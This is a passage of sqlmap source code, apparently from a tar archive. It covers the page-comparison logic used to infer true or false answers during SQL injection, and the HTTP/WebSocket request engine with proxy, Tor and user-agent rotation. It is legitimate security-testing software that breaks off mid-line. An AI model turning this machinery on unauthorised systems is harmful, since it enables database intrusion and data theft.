KNOWN issue inside the internals regarding the difflib/comparison of pages. " warnMsg += "Please report details privately via e-mail to '%s'" % DEV_EMAIL_ADDRESS logger.critical(warnMsg) raise SqlmapSilentQuitException def _adjust(condition, getRatioValue): if not any((conf.string, conf.notString, conf.regexp, conf.code)): # Negative logic approach is used in raw page comparison scheme as that what is "different" than original # PAYLOAD.WHERE.NEGATIVE response is considered as True; in switch based approach negative logic is not # applied as that what is by user considered as True is that what is returned by the comparison mechanism # itself retVal = not condition if kb.negativeLogic and condition is not None and not getRatioValue else condition else: retVal = condition if not getRatioValue else (MAX_RATIO if condition else MIN_RATIO) return retVal def _comparison(page, headers, code, getRatioValue, pageLength): threadData = getCurrentThreadData() if kb.testMode: threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "" threadData.lastComparisonPage = page threadData.lastComparisonCode = code if page is None and pageLength is None: return None if any((conf.string, conf.notString, conf.regexp)): rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page) # String to match in page when the query is True if conf.string: return conf.string in rawResponse # String to match in page when the query is False if conf.notString: if conf.notString in rawResponse: return False else: if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()): return None else: return True # Regular expression to match in page when the query is True and/or valid if conf.regexp: return re.search(conf.regexp, rawResponse, re.I | re.M) is not None # HTTP code to match when the query is valid if conf.code: return conf.code == code seqMatcher = threadData.seqMatcher seqMatcher.set_seq1(kb.pageTemplate) if page: # In case of an DBMS error page return None if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic: if not (wasLastResponseHTTPError() and getLastRequestHTTPError() in (conf.ignoreCode or [])): return None # Dynamic content lines to be excluded before comparison if not kb.nullConnection: page = removeDynamicContent(page) seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate)) if not pageLength: pageLength = len(page) if kb.nullConnection and pageLength: if not seqMatcher.a: errMsg = "problem occurred while retrieving original page content " errMsg += "which prevents sqlmap from continuation. Please rerun, " errMsg += "and if the problem persists turn off any optimization switches" raise SqlmapNoneDataException(errMsg) ratio = 1. * pageLength / len(seqMatcher.a) if ratio > 1.: ratio = 1. / ratio else: # Preventing "Unicode equal comparison failed to convert both arguments to Unicode" # (e.g. if one page is PDF and the other is HTML) if isinstance(seqMatcher.a, six.binary_type) and isinstance(page, six.text_type): page = getBytes(page, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") elif isinstance(seqMatcher.a, six.text_type) and isinstance(page, six.binary_type): seqMatcher.set_seq1(getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")) if any(_ is None for _ in (page, seqMatcher.a)): return None elif seqMatcher.a and page and seqMatcher.a == page: ratio = 1. elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)): if not page or not seqMatcher.a: return float(seqMatcher.a == page) else: ratio = 1. * len(seqMatcher.a) / len(page) if ratio > 1: ratio = 1. / ratio else: seq1, seq2 = None, None if conf.titles: seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) seq2 = extractRegexResult(HTML_TITLE_REGEX, page) else: seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a seq2 = getFilteredPageContent(page, True) if conf.textOnly else page if seq1 is None or seq2 is None: return None if isinstance(seq1, six.binary_type): seq1 = seq1.replace(REFLECTED_VALUE_MARKER.encode(), b"") elif isinstance(seq1, six.text_type): seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") if isinstance(seq2, six.binary_type): seq2 = seq2.replace(REFLECTED_VALUE_MARKER.encode(), b"") elif isinstance(seq2, six.text_type): seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") if kb.heavilyDynamic: seq1 = seq1.split("\n" if isinstance(seq1, six.text_type) else b"\n") seq2 = seq2.split("\n" if isinstance(seq2, six.text_type) else b"\n") key = None else: key = (hash(seq1), hash(seq2)) seqMatcher.set_seq1(seq1) seqMatcher.set_seq2(seq2) if key in kb.cache.comparison: ratio = kb.cache.comparison[key] else: ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3) if key: kb.cache.comparison[key] = ratio # If the url is stable and we did not set yet the match ratio and the # current injected value changes the url page content if kb.matchRatio is None: if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND: kb.matchRatio = ratio logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio) if kb.testMode: threadData.lastComparisonRatio = ratio # If it has been requested to return the ratio and not a comparison # response if getRatioValue: return ratio elif ratio > UPPER_RATIO_BOUND: return True elif ratio < LOWER_RATIO_BOUND: return False elif kb.matchRatio is None: return None else: return (ratio - kb.matchRatio) > DIFF_TOLERANCE ������������������������������������������������������sqlmap-1.9.6/lib/request/connect.py�����������������������������������������������������������������0000664�0000000�0000000�00000242265�15022617442�0017303�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import binascii import inspect import logging import os import random import re import socket import string import struct import sys import time import traceback try: import websocket from websocket import WebSocketException except ImportError: class WebSocketException(Exception): pass from lib.core.agent import agent from lib.core.common import asciifyUrl from lib.core.common import calculateDeltaSeconds from lib.core.common import checkFile from lib.core.common import checkSameHost from lib.core.common import chunkSplitPostData from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import escapeJsonValue from lib.core.common import evaluateCode from lib.core.common import extractRegexResult from lib.core.common import filterNone from lib.core.common import findMultipartPostBoundary from lib.core.common import getCurrentThreadData from lib.core.common import getHeader from lib.core.common import getHostHeader from lib.core.common import getRequestHeader from lib.core.common import getSafeExString from lib.core.common import logHTTPTraffic from lib.core.common import openFile from lib.core.common import popValue from lib.core.common import parseJson from lib.core.common import pushValue from lib.core.common import randomizeParameterValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues from lib.core.common import safeVariableNaming from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev from lib.core.common import unArrayizeValue from lib.core.common import unsafeVariableNaming from lib.core.common import urldecode from lib.core.common import urlencode from lib.core.common import wasLastResponseDelayed from lib.core.compat import LooseVersion from lib.core.compat import patchHeaders from lib.core.compat import xrange from lib.core.convert import encodeBase64 from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.decorators import stackedmethod from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import AUTH_TYPE from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HINT from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import NULLCONNECTION from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.enums import REDIRECTION from lib.core.enums import WEB_PLATFORM from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapTokenException from lib.core.exception import SqlmapValueException from lib.core.settings import ASTERISK_MARKER from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import DEFAULT_CONTENT_TYPE from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_USER_AGENT from lib.core.settings import EVALCODE_ENCODED_PREFIX from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IS_WIN from lib.core.settings import JAVASCRIPT_HREF_REGEX from lib.core.settings import LARGE_READ_TRIM_MARKER from lib.core.settings import LIVE_COOKIES_TIMEOUT from lib.core.settings import MIN_HTTPX_VERSION from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS from lib.core.settings import MAX_MURPHY_SLEEP_TIME from lib.core.settings import META_REFRESH_REGEX from lib.core.settings import MAX_TIME_RESPONSES from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PERMISSION_DENIED_REGEX from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import RANDOM_STRING_MARKER from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import TEXT_CONTENT_TYPE_REGEX from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import WARN_TIME_STDEV from lib.core.settings import WEBSOCKET_INITIAL_TIMEOUT from lib.core.settings import YUGE_FACTOR from lib.request.basic import decodePage from lib.request.basic import forgeHeaders from lib.request.basic import processResponse from lib.request.comparison import comparison from lib.request.direct import direct from lib.request.methodrequest import MethodRequest from lib.utils.safe2bin import safecharencode from thirdparty import six from thirdparty.odict import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib from thirdparty.socks.socks import ProxyError class Connect(object): """ This class defines methods used to perform HTTP requests """ @staticmethod def _getPageProxy(**kwargs): try: if (len(inspect.stack()) > sys.getrecursionlimit() // 2): # Note: https://github.com/sqlmapproject/sqlmap/issues/4525 warnMsg = "unable to connect to the target URL" raise SqlmapConnectionException(warnMsg) except (TypeError, UnicodeError): pass try: return Connect.getPage(**kwargs) except RuntimeError: return None, None, None @staticmethod def _retryProxy(**kwargs): threadData = getCurrentThreadData() threadData.retriesCount += 1 if conf.proxyList and threadData.retriesCount >= conf.retries and not kb.locks.handlers.locked(): warnMsg = "changing proxy" logger.warning(warnMsg) conf.proxy = None threadData.retriesCount = 0 setHTTPHandlers() if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME: # timed based payloads can cause web server unresponsiveness # if the injectable piece of code is some kind of JOIN-like query warnMsg = "most likely web server instance hasn't recovered yet " warnMsg += "from previous timed based payload. If the problem " warnMsg += "persists please wait for a few minutes and rerun " warnMsg += "without flag 'T' in option '--technique' " warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to " warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')" singleTimeWarnMessage(warnMsg) elif kb.originalPage is None: if conf.tor: warnMsg = "please make sure that you have " warnMsg += "Tor installed and running so " warnMsg += "you could successfully use " warnMsg += "switch '--tor' " if IS_WIN: warnMsg += "(e.g. 'https://www.torproject.org/download/')" else: warnMsg += "(e.g. 'https://help.ubuntu.com/community/Tor')" else: warnMsg = "if the problem persists please check that the provided " warnMsg += "target URL is reachable" items = [] if not conf.randomAgent: items.append("switch '--random-agent'") if not any((conf.proxy, conf.proxyFile, conf.tor)): items.append("proxy switches ('--proxy', '--proxy-file'...)") if items: warnMsg += ". In case that it is, " warnMsg += "you can try to rerun with " warnMsg += " and/or ".join(items) singleTimeWarnMessage(warnMsg) elif conf.threads > 1: warnMsg = "if the problem persists please try to lower " warnMsg += "the number of used threads (option '--threads')" singleTimeWarnMessage(warnMsg) kwargs['retrying'] = True return Connect._getPageProxy(**kwargs) @staticmethod def _connReadProxy(conn): retVal = b"" if not kb.dnsMode and conn: headers = conn.info() if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()): retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE) if len(retVal) == MAX_CONNECTION_TOTAL_SIZE: warnMsg = "large compressed response detected. Disabling compression" singleTimeWarnMessage(warnMsg) kb.pageCompress = False raise SqlmapCompressionException else: while True: if not conn: break else: try: part = conn.read(MAX_CONNECTION_READ_SIZE) except AssertionError: part = b"" if len(part) == MAX_CONNECTION_READ_SIZE: warnMsg = "large response detected. This could take a while" singleTimeWarnMessage(warnMsg) part = re.sub(getBytes(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start)), getBytes("%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start)), part) retVal += part else: retVal += part break if len(retVal) > MAX_CONNECTION_TOTAL_SIZE: warnMsg = "too large response detected. Automatically trimming it" singleTimeWarnMessage(warnMsg) break if conf.yuge: retVal = YUGE_FACTOR * retVal return retVal @staticmethod def getPage(**kwargs): """ This method connects to the target URL or proxy and returns the target URL page content """ if conf.offline: return None, None, None url = kwargs.get("url", None) or conf.url get = kwargs.get("get", None) post = kwargs.get("post", None) method = kwargs.get("method", None) cookie = kwargs.get("cookie", None) ua = kwargs.get("ua", None) or conf.agent referer = kwargs.get("referer", None) or conf.referer direct_ = kwargs.get("direct", False) multipart = kwargs.get("multipart", None) silent = kwargs.get("silent", False) raise404 = kwargs.get("raise404", True) timeout = kwargs.get("timeout", None) or conf.timeout auxHeaders = kwargs.get("auxHeaders", None) response = kwargs.get("response", False) ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts refreshing = kwargs.get("refreshing", False) retrying = kwargs.get("retrying", False) crawling = kwargs.get("crawling", False) checking = kwargs.get("checking", False) skipRead = kwargs.get("skipRead", False) finalCode = kwargs.get("finalCode", False) chunked = kwargs.get("chunked", False) or conf.chunked if isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) start = time.time() threadData = getCurrentThreadData() with kb.locks.request: kb.requestCounter += 1 threadData.lastRequestUID = kb.requestCounter if conf.proxyFreq: if kb.requestCounter % conf.proxyFreq == 0: conf.proxy = None warnMsg = "changing proxy" logger.warning(warnMsg) setHTTPHandlers() if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0: if conf.murphyRate: time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1)) page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3) threadData.lastPage = page threadData.lastCode = code return page, headers, code if conf.liveCookies: with kb.locks.liveCookies: if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0: warnMsg = "[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)" % (time.strftime("%X"), conf.liveCookies, LIVE_COOKIES_TIMEOUT) dataToStdout(warnMsg) valid = False for _ in xrange(LIVE_COOKIES_TIMEOUT): if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0: valid = True break else: dataToStdout('.') time.sleep(1) dataToStdout("\n") if not valid: errMsg = "problem occurred while loading cookies from file '%s'" % conf.liveCookies raise SqlmapValueException(errMsg) cookie = openFile(conf.liveCookies).read().strip() cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie) if multipart: post = multipart else: if not post: chunked = False elif chunked: post = _urllib.parse.unquote(post) post = chunkSplitPostData(post) webSocket = url.lower().startswith("ws") if not _urllib.parse.urlsplit(url).netloc: url = _urllib.parse.urljoin(conf.url, url) # flag to know if we are dealing with the same target host target = checkSameHost(url, conf.url) if not retrying: # Reset the number of connection retries threadData.retriesCount = 0 # fix for known issue when urllib2 just skips the other part of provided # url splitted with space char while urlencoding it in the later phase url = url.replace(" ", "%20") if "://" not in url: url = "http://%s" % url conn = None page = None code = None status = None _ = _urllib.parse.urlsplit(url) requestMsg = u"HTTP request [#%d]:\r\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET)) requestMsg += getUnicode(("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling, checking)) else url) responseMsg = u"HTTP response " requestHeaders = u"" responseHeaders = None logHeaders = u"" skipLogTraffic = False raise404 = raise404 and not kb.ignoreNotFound # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't # support those by default url = asciifyUrl(url) try: socket.setdefaulttimeout(timeout) if direct_: if '?' in url: url, params = url.split('?', 1) params = urlencode(params) url = "%s?%s" % (url, params) elif any((refreshing, crawling, checking)): pass elif target: if conf.forceSSL: url = re.sub(r"(?i)\A(http|ws):", r"\g<1>s:", url) url = re.sub(r"(?i):80/", ":443/", url) if PLACE.GET in conf.parameters and not get: get = conf.parameters[PLACE.GET] if not conf.skipUrlEncode: get = urlencode(get, limit=True) if get: if '?' in url: url = "%s%s%s" % (url, DEFAULT_GET_POST_DELIMITER, get) requestMsg += "%s%s" % (DEFAULT_GET_POST_DELIMITER, get) else: url = "%s?%s" % (url, get) requestMsg += "?%s" % get if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET: post = conf.parameters[PLACE.POST] elif get: url = "%s?%s" % (url, get) requestMsg += "?%s" % get requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str # Prepare HTTP headers headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {}) if HTTP_HEADER.COOKIE in headers: cookie = headers[HTTP_HEADER.COOKIE] if kb.authHeader: headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader if kb.proxyAuthHeader: headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader if not conf.requestFile or not target: if not getHeader(headers, HTTP_HEADER.ACCEPT): headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING): headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT: for header in headers: if header.upper() == HTTP_HEADER.USER_AGENT.upper(): del headers[header] break if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE): headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE) if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]: warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTP_HEADER.CONTENT_TYPE warnMsg += "Will try to reconstruct" singleTimeWarnMessage(warnMsg) boundary = findMultipartPostBoundary(conf.data) if boundary: headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary) if conf.keepAlive: headers[HTTP_HEADER.CONNECTION] = "keep-alive" if chunked: headers[HTTP_HEADER.TRANSFER_ENCODING] = "chunked" if auxHeaders: headers = forgeHeaders(auxHeaders, headers) if kb.headersFile: content = openFile(kb.headersFile, "rb").read() for line in content.split("\n"): line = getText(line.strip()) if ':' in line: header, value = line.split(':', 1) headers[header] = value if conf.localhost: headers[HTTP_HEADER.HOST] = "localhost" for key, value in list(headers.items()): if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper(): value = re.sub(r"(?i)(,)br(,)?", lambda match: ',' if match.group(1) and match.group(2) else "", value) or "identity" del headers[key] if isinstance(value, six.string_types): for char in (r"\r", r"\n"): value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", value) headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip("\r\n")) # Note: Python3 has_header() expects non-bytes value if six.PY2: url = getBytes(url) # Note: Python3 requires text while Python2 has problems when mixing text with binary POST if webSocket: ws = websocket.WebSocket() ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically ws.send(urldecode(post or "")) _page = [] if kb.webSocketRecvCount is None: while True: try: _page.append(ws.recv()) except websocket.WebSocketTimeoutException: kb.webSocketRecvCount = len(_page) break else: for i in xrange(max(1, kb.webSocketRecvCount)): _page.append(ws.recv()) page = "\n".join(_page) ws.close() code = ws.status status = _http_client.responses[code] class _(dict): pass responseHeaders = _(ws.getheaders()) responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()]) requestMsg += "\r\n%s" % requestHeaders if post is not None: requestMsg += "\r\n\r\n%s" % getUnicode(post) requestMsg += "\r\n" threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) else: post = getBytes(post) if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST: if kb.place != HTTPMETHOD.POST: conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) else: post = urldecode(post, convall=True) post = encodeBase64(post) if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST): req = MethodRequest(url, post, headers) req.set_method(cmdLineOptions.method or method) elif url is not None: req = _urllib.request.Request(url, post, headers) else: return None, None, None for function in kb.preprocessFunctions: try: function(req) except Exception as ex: errMsg = "error occurred while running preprocess " errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) else: post, headers = req.data, req.headers requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()]) if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) with conf.cj._cookies_lock: cookies = conf.cj._cookies_for_request(req) requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) if post is not None: if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked: requestHeaders += "\r\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)) if not getRequestHeader(req, HTTP_HEADER.CONNECTION): requestHeaders += "\r\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive") requestMsg += "\r\n%s" % requestHeaders if post is not None: requestMsg += "\r\n\r\n%s" % getUnicode(post) if not chunked: requestMsg += "\r\n" if conf.cj: for cookie in conf.cj: if cookie.value is None: cookie.value = "" else: for char in (r"\r", r"\n"): cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) if conf.http2: try: import httpx except ImportError: raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else "")) if LooseVersion(httpx.__version__) < LooseVersion(MIN_HTTPX_VERSION): raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION)) try: proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if "://" not in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client: conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post) except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex: raise _http_client.HTTPException(getSafeExString(ex)) else: conn.code = conn.status_code conn.msg = conn.reason_phrase conn.info = lambda c=conn: c.headers conn._read_buffer = conn.read() conn._read_offset = 0 requestMsg = re.sub(" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1) if not multipart: threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) def _read(count=None): offset = conn._read_offset if count is None: result = conn._read_buffer[offset:] conn._read_offset = len(conn._read_buffer) else: result = conn._read_buffer[offset: offset + count] conn._read_offset += len(result) return result conn.read = _read else: if not multipart: threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) conn = _urllib.request.urlopen(req) if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)) if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION) # Return response object if response: return conn, None, None # Get HTTP response if hasattr(conn, "redurl"): page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None skipLogTraffic = kb.choices.redirect == REDIRECTION.NO code = conn.redcode if not finalCode else code else: page = Connect._connReadProxy(conn) if not skipRead else None if conn: code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes) responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, "geturl") else url if getattr(conn, "redurl", None) is not None: responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl responseHeaders = patchHeaders(responseHeaders) kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader) else: code = None responseHeaders = {} page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling) status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None kb.connErrorCounter = 0 if not refreshing: refresh = responseHeaders.get(HTTP_HEADER.REFRESH, "").split("url=")[-1].strip() if extractRegexResult(META_REFRESH_REGEX, page): refresh = extractRegexResult(META_REFRESH_REGEX, page) debugMsg = "got HTML meta refresh header" logger.debug(debugMsg) if not refresh: refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page) if refresh: debugMsg = "got Javascript redirect logic" logger.debug(debugMsg) if refresh: if kb.alwaysRefresh is None: msg = "got a refresh intent " msg += "(redirect like response common to login pages) to '%s'. " % refresh msg += "Do you want to apply it from now on? [Y/n]" kb.alwaysRefresh = readInput(msg, default='Y', boolean=True) if kb.alwaysRefresh: if re.search(r"\Ahttps?://", refresh, re.I): url = refresh else: url = _urllib.parse.urljoin(url, refresh) threadData.lastRedirectMsg = (threadData.lastRequestUID, page) kwargs["refreshing"] = True kwargs["url"] = url kwargs["get"] = None kwargs["post"] = None try: return Connect._getPageProxy(**kwargs) except SqlmapSyntaxException: pass # Explicit closing of connection object if conn and not conf.keepAlive: try: if hasattr(conn, "fp") and hasattr(conn.fp, '_sock'): conn.fp._sock.close() conn.close() except Exception as ex: warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex) logger.warning(warnMsg) except SqlmapConnectionException as ex: if conf.proxyList and not kb.threadException: warnMsg = "unable to connect to the target URL ('%s')" % getSafeExString(ex) logger.critical(warnMsg) threadData.retriesCount = conf.retries return Connect._retryProxy(**kwargs) else: raise except _urllib.error.HTTPError as ex: page = None responseHeaders = None if checking: return None, None, None try: page = ex.read() if not skipRead else None responseHeaders = ex.info() responseHeaders[URI_HTTP_HEADER] = ex.geturl() responseHeaders = patchHeaders(responseHeaders) page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling) except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % ex.code logger.warning(warnMsg) return None, None, None except KeyboardInterrupt: raise except: pass finally: page = getUnicode(page) code = ex.code status = getUnicode(getattr(ex, "reason", None) or getSafeExString(ex).split(": ", 1)[-1]) kb.originalCode = kb.originalCode or code threadData.lastHTTPError = (threadData.lastRequestUID, code, status) kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1 responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders and getattr(responseHeaders, "headers", None): logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) skipLogTraffic = True if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]) if not multipart: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) if code in conf.abortCode: errMsg = "aborting due to detected HTTP code '%d'" 